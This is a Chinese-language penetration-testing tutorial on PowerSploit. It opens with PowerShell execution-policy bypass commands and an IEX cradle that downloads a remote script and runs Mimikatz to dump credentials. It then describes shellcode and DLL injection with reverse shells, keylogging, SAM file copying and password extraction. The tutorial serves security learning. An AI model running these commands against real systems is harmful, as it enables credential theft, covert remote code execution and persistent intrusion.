0x00 过渡
之前提到当在执行powershell脚本时,由于默认策略的缘故,是会报错的,因此也出现了几种逃过的情况:
本地权限绕过:PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1,此外还可以通过本地隐藏权限进行绕过:PowerShell.exe -ExecutionPolicy Bypass -NoLogo –NonInteractive -NoProfile -WindowStyle Hidden -File xxx.ps1
IEX下载远程PS1脚本权限绕过执行(在本例PowerSploit框架利用中会使用):powershell.exe "IEX (New-Object Net.WebClient).DownloadString('http://网址/对应脚本名称'); Invoke-Mimikatz -DumpCreds"
0x01 PowerSploit简介
PowerSploit是Microsoft PowerShell模块的集合,可用于在评估的所有阶段帮助渗透测试人员。PowerSploit由以下模块和脚本组成:
模块 | 说明 |
---|---|
CodeExecution | 在目标主机执行代码 |
ScriptModification | 在目标主机上创建或修改脚本代码 |
Persistence | 后门脚本(持久性控制) |
AntivirusBypass | 发现杀软查杀特征 |
Exfiltration | 在目标主机上进行信息搜集 |
Mayhem | 蓝屏等破坏性脚本 |
Privesc | 在目标主机中用于提权 |
Recon | 以目标主机为跳板进行内网信息侦查 |
本次将会展示CodeExecution模块、Recon模块、Exfiltration模块以及Privesc模块的部分主流的脚本的渗透实例。
0x02 利用PowerSploit渗透的实例
准备工作
a.在kali(因为kali上集成很多好用的工具以及环境)上使用命令git clone https://github.com/mattifestation/PowerSploit.git 下载最新版的PowerSploit脚本文件;或者直接进入https://github.com/PowerShellMafia/PowerSploit 下载脚本文件。
b.打开一个web服务,并将下载的脚本文件放入web中,供我们通过IEX调用。
c.打开kali中的metasploit,本次的测试有部分需要通过metasploit结合完成。
CodeExecution模块
a.调用Invoke-Shellcode将shellcode注入到本地的Powershell。
1)打开一个web服务,并将PowerSploit脚本添加到web中,以便后续实验中可通过IEX进行下载调用(此处我在kali中开启apache2服务)。
2).利用msfvenom生成一个反弹木马,以供invoke-shellcode注入,同样生成反弹马放入web中。
3).这里为了更好的展现效果,因此直接在powershell中进行操作,通过IEX下载调用invoke-shellcode以及生成的反弹马。
4).在kali中打开metasploit并设置好监听(只需设置PAYLOAD、LHOST、LPORT)。
5).在powershell中调用invoke-shellcode(可通过help命令来查询具体操作以及例子)。
注意:若此处关闭powershell,那么连接也将终断,因为承载木马的powershell被关闭了。
b.调用invoke-shellcode将shellcode注入到指定的进程中。
1).前面步骤和a的步骤一致,唯一不同的就是在最后的命令上,首先,查看我们需要注入的进程,建议可注入到系统的进程,因为一旦进程关闭,那么监听也将终断,因此系统进程一般不会被关闭,注意:不能注入到像360等驱动中,不然会被强制关闭。
注意:和a类似的,若关闭notepad进程,则连接中断。
c.调用invoke-dllinjection将DLL注入到进程中。
1)通过msfvenom生成DLL的反弹木马,并下载到目标主机中(为了方便,直接将dll文件下载至powershell运行的桌面),在实际环境中,也可以通过该方法进行传输dll文件。
2).设置好监听。
3)通过IEX调用下载并调用invoke-dllinjection,将DLL文件直接注入到notepad进程中。
Recon模块
a.调用invoke-Portscan扫描内网主机的端口。
1).通过IEX下载并调用invoke-portscan。
注意:这里用的全端口扫描,不建议这么做,耗费时间太长,可以扫描一些常规端口。
b.调用Get-HttpStatus扫描目标站点的目录。
1).通过IEX下载并调用Get-HttpStatus。
c.调用Invoke-ReverseDnsLookup扫描内网主机的ip对应的主机名。
1).通过IEX下载并调用Invoke-ReverseDnsLookup。
Exfiltration模块
a.调用Get-Keystrokes记录用户的键盘输入。
1).通过IEX下载并调用Get-Keystrokes。
b.调用Invoke-NinjaCopy复制一些系统无法复制的文件如sam文件。
1).通过IEX下载并调用Get-NinjaCopy。
正常情况下复制:
通过Invoke-NinjaCopy进行复制:
注意:这个脚本是要有管理员权限下才可以正常执行,否则会报错,毕竟是要拷贝系统文件,只是它做了管理员做不了的事。
c.调用Invoke-Mimikatz(内网神器)抓取内存中的明文密码。
1).通过IEX下载并调用Invoke-Mimikatz。
注意:这个脚本是要有管理员权限下才可以正常执行,否则会报错,毕竟涉及到密码之类的敏感信息,哪怕是管理员想看到明文的,也是很难实现的。
0x03 小结
PowerSploit也许有些模块有些脚本看似用处很小,但是我认为其实不然,可能是我们的经验阅历不高,还未遇到一个适合的环境或者时机。不过总体感觉PowerShell内网渗透还是很强大的,它不仅可以免杀执行,还可以毫无痕迹地在电脑中进行操作。斗哥想将一句话送给大家,是一个大神讲过的----“工具就像武器,要多用多练;要在实践中灵活利用,不能死板照搬”,想学好一个工具,多进行运用远比停留在理论学习来得强。最后希望大家能够在PowerShell内网渗透中获取更多的“宝藏”。